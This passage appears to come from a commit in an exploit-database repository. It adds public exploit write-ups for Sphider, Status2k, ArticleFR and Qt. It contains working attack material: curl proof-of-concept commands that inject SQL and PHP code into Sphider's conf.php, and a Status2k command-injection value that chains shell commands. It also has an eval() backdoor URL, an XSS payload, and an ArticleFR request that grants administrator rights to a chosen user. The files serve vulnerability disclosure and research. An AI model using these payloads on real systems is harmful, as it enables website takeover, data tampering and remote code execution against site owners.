||||
|
||||
PoC: localhost:~$ curl -d "user=foo&pass=bar&f=20&site_id=1'" "http://localhost/sphider/admin/admin.php" | grep "MySQL"
|
||||
|
||||
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
|
||||
|
||||
?f=20&site_id=SQLi
|
||||
?f=index&adv=1&url=SQLi
|
||||
|
||||
and more..
|
||||
|
||||
CVE-2014-5082.
|
||||
-------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
3. Remote Code Execution (the most severe..)
|
||||
An RCE exists in every version of sphider/pro/plus and has not been patched, this is not as severe as before due to the fact that
|
||||
you need authentication but combined with the previous auth bypass in older versions it can be quite dangerous. Not to mention
|
||||
the possible chance of people keeping the default (admin:admin) login credentials. There is basically 107 instances of this "RCE",
|
||||
it is due to sphider using fwrite to write / save the crawler's settings, the issue however is that there is complete lack of
|
||||
sanatization...which means an attacker can simply feed sphider malicious PHP and it will be written into the conf.php
|
||||
(localhost/sphider/settings/conf.php). In sphider plus/pro there is even more instances of fwrite in the configset.php
|
||||
due to the more config options avaliable.
|
||||
|
||||
Example (from sphider-1.3.6):
|
||||
|
||||
fwrite($fhandle,"\n\n\n/*********************** \nWeights\n***********************/");
|
||||
fwrite($fhandle, "\n\n// Relative weight of a word in the title of a webpage\n");
|
||||
fwrite($fhandle,"$"."title_weight = ".$_title_weight. ";");
|
||||
fwrite($fhandle, "\n\n// Relative weight of a word in the domain name\n");
|
||||
fwrite($fhandle,"$"."domain_weight = ".$_domain_weight. ";");
|
||||
fwrite($fhandle, "\n\n// Relative weight of a word in the path name\n");
|
||||
fwrite($fhandle,"$"."path_weight = ".$_path_weight. ";");
|
||||
fwrite($fhandle, "\n\n// Relative weight of a word in meta_keywords\n");
|
||||
fwrite($fhandle,"$"."meta_weight = ".$_meta_weight. ";");
|
||||
|
||||
|
||||
fwrite($fhandle,"?>");
|
||||
fclose($fhandle);
|
||||
|
||||
}
|
||||
|
||||
as you can see the complete lack of santization here allows one to simply feed one of these fields arbitrary php and it will be written to conf.php; this code is reused in all sphider forks/clones
|
||||
|
||||
PoC: localhost:~$ curl -d "user=foo&pass=bar&f=settings&Submit=ion_nr=1.3.5&_language=en&_template=standard&_admin_email=admin%40localhost&_tmp_dir=tmp&_log_dir=log&_log_format=html&_min_words_per_page=10&_min_word_length=3&_word_upper_bound=100&_pdftotext_path=&_catdoc_path=&_xls2csv_path=&_catppt_path=&_user_agent=&_min_delay=0&_results_per_page=10&_cat_columns=2&_bound_search_result=0&_length_of_link_desc=0&_links_to_next=9&_desc_length=250&_suggest_rows=0&_title_weight=20&_domain_weight=60&_path_weight=10&_meta_weight=5;echo phpversion();" "http://localhost/sphider/admin/admin.php" | grep "5.3"
|
||||
|
||||
5.3.3<div id='submenu'> </div>
|
||||
|
||||
Obviously it can be taken a step further and one may inject a php-webshell into conf.php and further escalate..
|
||||
|
||||
There is another POSSIBLE RCE, (yes by code) however I have not been able to test it..this rce requires the file converter(s) to be installed, once they are...
|
||||
|
||||
admin/spiderfuncs.php: $a = exec($command,$result, $retval);
|
||||
admin/spiderfuncs.php: $a = exec($command,$result, $retval);
|
||||
admin/spiderfuncs.php: $a = exec($command,$result, $retval);
|
||||
admin/spiderfuncs.php: $a = exec($command,$result, $retval);
|
||||
|
||||
once again the lack of sanatization allows possible remote code execution.
|
||||
|
||||
CVE-2014-5083, CVE-2014-5084, CVE-2014-5085, CVE-2014-5086, CVE-2014-5087
|
||||
----------------------------------------------------------------------------------------------------------------------------------------------
|
||||
138
platforms/php/webapps/34239.txt
Executable file
138
platforms/php/webapps/34239.txt
Executable file
|
|
@ -0,0 +1,138 @@
|
|||
# Exploit Title: Status2k Multiple Vulnerabilities/0days
|
||||
# Date: 6/20/2014
|
||||
# Exploit Author: Shayan Sadigh (twitter.com/r1pplex) | <ienjoy.ripples@gmail.com
|
||||
# Vendor Homepage: http://status2k.com/
|
||||
# Version: All
|
||||
# Tested on: Linux/Windows
|
||||
# CVE : CVE-2014-5088, CVE-2014-5089, CVE-2014-5090, CVE-2014-5091, CVE-2014-5092, CVE-2014-5093, CVE-2014-5094
|
||||
|
||||
1. Cross site scripting/XSS... there's tons, example
|
||||
admin login page, etc
|
||||
|
||||
login.php:
|
||||
|
||||
if (isset($_GET['username'])) { $useren = $_GET['username']; }
|
||||
if (isset($_POST['password'])) { $useren = $_POST['username']; }
|
||||
$q = mysql_query("SELECT * FROM ".$prefix."users");
|
||||
$adminuser = $res['adminuser']; // Login Database
|
||||
$cusername = $_COOKIE["S2KUser"];
|
||||
if ( ($cusername == $adminuser) && ($cpassword == $adminpass) ) { $lgtrue = 1; }
|
||||
if ( ($useren == $adminuser) && ($passen == $adminpass) ) {
|
||||
setcookie("S2KUser", $useren);
|
||||
if ($passen && $useren) {
|
||||
if ($useren !== $adminuser) { echo '<div class="alert-message error"
|
||||
Username ('.$useren.') Incorrect.</div'; }
|
||||
<input type="text" name="username" size="25"
|
||||
|
||||
simple injection can be done in the username field, <scriptalert("poc")</script, etc
|
||||
|
||||
Use CVE-2014-5088 for all of the XSS issues.
|
||||
|
||||
|
||||
2. SQLi vulnerability in the GET (log)
|
||||
param... This isn't too useful seeing that if you had auth,
|
||||
much more damage could be done - refer to command injection
|
||||
lack of sanitization: in /admin/options/logs.php
|
||||
|
||||
$l = $_GET['log'];
|
||||
$q = mysql_query("SELECT * FROM ".$prefix."users");
|
||||
$query = mysql_query("SELECT * FROM ".$prefix."logs WHERE id = '".$l."'");
|
||||
$result = mysql_fetch_array($query) or die(mysql_error());
|
||||
$query = mysql_query("SELECT * FROM ".$prefix."logs WHERE id = '".$l."'");
|
||||
$result = mysql_fetch_array($query) or die(mysql_error());
|
||||
$query = mysql_query("SELECT * FROM ".$prefix."logs WHERE id = '".$l."'");
|
||||
$result = mysql_fetch_array($query) or die(mysql_error());
|
||||
|
||||
- PoC: site.com/s2kdir/admin/options/logs.php?log=[sqli]
|
||||
|
||||
Use CVE-2014-5089.
|
||||
|
||||
|
||||
3. Command injection
|
||||
This requires access to the Status2k Admin
|
||||
Panel, log-in and proceed to click the 'Logs' tab, then select
|
||||
'Add Logs', type in any name and for the 'Location' field use
|
||||
command injection... Then browse to the created log via the 'Logs'
|
||||
tab again.
|
||||
|
||||
- example: Logs --Add Logs --; then Logs --newly created log
|
||||
|
||||
Name: test Location: /var/log/dmesg;pwd; uname -a
|
||||
localhost/admin/options/addlog.php?type=edit&id=5
|
||||
|
||||
so there's no sanitization in addlog.php which lets you put anything
|
||||
you want as a log location... the issue now is that in logs.php:
|
||||
|
||||
$logc = cmdrun($config['logcmd'].$result['location']);
|
||||
$log = explode("\n", $logc);
|
||||
$log = array_reverse($log);
|
||||
|
||||
cmdrun literally calls the equivalent of exec() and thus completely
|
||||
execution of a command.
|
||||
|
||||
if it is complaining about dmesg... try other log locations... such as
|
||||
/usr/local/apache/logs/suexec_log, also try other bash chars, such as
|
||||
|
||||
| & && ; $(), etc
|
||||
|
||||
Use CVE-2014-5090.
|
||||
|
||||
|
||||
4. eval() [RCE] backdoor..
|
||||
For about a year, status2k.com was hosting a backdoored version
|
||||
of their software... either they knew it or not, there was never an
|
||||
announcement when the backdoor was found (good job).
|
||||
|
||||
in the file /includes/functions.php:
|
||||
eval($_GET['multies']);
|
||||
|
||||
site.com/s2k/includes/functions.php?multies=inject_php_code here
|
||||
|
||||
PoC: site.com/s2k/includes/functions.php?multies=echo 'foobar';
|
||||
|
||||
Use CVE-2014-5091.
|
||||
|
||||
|
||||
5. Another RCE
|
||||
status2k also lacks sanitization in the templates; /admin/options/editpl.php
|
||||
|
||||
one can literally place any malicious php code they want here and have it execute
|
||||
|
||||
// Let's make sure the file exists and is writable first.
|
||||
if (is_writable("../../templates/".$config['templaten']."/".$filename)) {
|
||||
|
||||
// In our example we're opening $filename in append mode.
|
||||
// The file pointer is at the bottom of the file hence
|
||||
// that's where $somecontent will go when we fwrite() it.
|
||||
if (!$handle = fopen("../../templates/".$config['templaten']."/".$filename, 'w')) {
|
||||
echo "Cannot open file (../../templates/".$config['templaten']."/".$filename.")";
|
||||
exit;
|
||||
}
|
||||
|
||||
// Write $somecontent to our opened file.
|
||||
if (fwrite($handle, $value) === FALSE) {
|
||||
echo "Cannot write to file (../../templates/".$config['templaten']."/".$filename.")";
|
||||
exit;
|
||||
} else {
|
||||
echo "Success, $filename updated!";
|
||||
|
||||
once again complete lack of sanitization.
|
||||
|
||||
Use CVE-2014-5092.
|
||||
|
||||
|
||||
6. Design flaw by default Status2k does not remove the install
|
||||
directory (/install/), this may lead to an attacker resetting the
|
||||
admin credentials and thus logging in and causing further damage
|
||||
through RCE vectors listed above.
|
||||
|
||||
Use CVE-2014-5093.
|
||||
|
||||
|
||||
7. Information leak... it is not shown by default on the index.php
|
||||
of status2k above version 2, however // PHPINFO ========== //
|
||||
================== $action = $_GET["action"]; if ($action ==
|
||||
"phpinfo") { phpinfo(); die(); } allows anyone to view the server's
|
||||
phpinfo page (localhost/status/index.php?action=phpinfo)
|
||||
|
||||
Use CVE-2014-5094.
|
||||
66
platforms/php/webapps/34245.txt
Executable file
66
platforms/php/webapps/34245.txt
Executable file
|
|
@ -0,0 +1,66 @@
|
|||
Advisory ID: HTB23219
|
||||
Product: ArticleFR
|
||||
Vendor: Free Reprintables
|
||||
Vulnerable Version(s): 11.06.2014 and probably prior
|
||||
Tested Version: 11.06.2014
|
||||
Advisory Publication: June 11, 2014 [without technical details]
|
||||
Vendor Notification: June 11, 2014
|
||||
Public Disclosure: July 30, 2014
|
||||
Vulnerability Type: Improper Access Control [CWE-284]
|
||||
CVE Reference: CVE-2014-4170
|
||||
Risk Level: High
|
||||
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
|
||||
Solution Status: Solution Available
|
||||
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
|
||||
|
||||
-----------------------------------------------------------------------------------------------
|
||||
|
||||
Advisory Details:
|
||||
|
||||
High-Tech Bridge Security Research Lab discovered vulnerability in ArticleFR, which can be exploited to execute arbitrary UPDATE SQL statements, alter information stored in database and gain complete control over the web site.
|
||||
|
||||
|
||||
1) Improper Access Control in ArticleFR: CVE-2014-4170
|
||||
|
||||
The vulnerability exists due to insufficient access restrictions when accessing the "/data.php" script. A remote attacker can send a specially crafted HTTP GET request to vulnerable script and execute arbitrary UPDATE SQL commands in application’s database. Successful exploitation of the vulnerability allows modification of arbitrary database record. A remote attacker can modify or delete information stored in database and gain complete control over the application.
|
||||
|
||||
The following exploitation example assigns administrative privileges to the user with "id=2":
|
||||
|
||||
http://[host]/data.php?pk=2&pkf=id&f=membership&value=admin&t=users
|
||||
|
||||
-----------------------------------------------------------------------------------------------
|
||||
|
||||
Solution:
|
||||
|
||||
Disclosure timeline:
|
||||
2014-06-11 Vendor Alerted via emails and contact form.
|
||||
2014-06-19 Vendor Alerted via emails and contact form.
|
||||
2014-06-24 Vendor Alerted via contact form.
|
||||
2014-06-26 Fix Requested via emails and contact forms.
|
||||
2014-06-26 Issue created on GitHub.
|
||||
2014-06-27 Vendor says that vulnerability is fixed.
|
||||
2014-06-30 Requested version number with fixes.
|
||||
2014-07-03 Vendor says that vulnerability will be fixed in upcoming version 3.0.x
|
||||
2014-07-07 Fix Requested via emails and contact forms.
|
||||
2014-07-16 Vulnerability still exist in the latest version 3.0.2. This information was brought to vendor.
|
||||
2014-07-16 Vendor disagrees that vulnerability still exist.
|
||||
2014-07-27 Vendor locked and limited conversation to collaborators on GitHub.
|
||||
2014-07-29 Vulnerability still exist in the latest version 3.0.4.
|
||||
2014-07-30 Public disclosure with self-written patch.
|
||||
|
||||
Currently we are not aware of any official solution for this vulnerability.
|
||||
Unofficial patch was developed by High-Tech Bridge Security Research Lab and is available here: https://www.htbridge.com/advisory/HTB23219-patch.zip
|
||||
|
||||
-----------------------------------------------------------------------------------------------
|
||||
|
||||
References:
|
||||
|
||||
[1] High-Tech Bridge Advisory HTB23219 - https://www.htbridge.com/advisory/HTB23219 - Improper Access Control in ArticleFR.
|
||||
[2] ArticleFR - http://freereprintables.com/ - Free Article Directory CMS System .
|
||||
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
|
||||
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
|
||||
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.
|
||||
|
||||
-----------------------------------------------------------------------------------------------
|
||||
|
||||
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
|
||||
9
platforms/windows/dos/34227.txt
Executable file
9
platforms/windows/dos/34227.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/41250/info
|
||||
|
||||
Qt is prone to a denial-of-service vulnerability caused by an infinite loop condition.
|
||||
|
||||
An attacker can exploit this issue to make the affected application unresponsive, denying service to legitimate users.
|
||||
|
||||
The issue affects Qt versions 4.6.3 and prior.
|
||||
|
||||
http://www.exploit-db.com/sploits/34227.zip
|
||||
Loading…
Add table
Reference in a new issue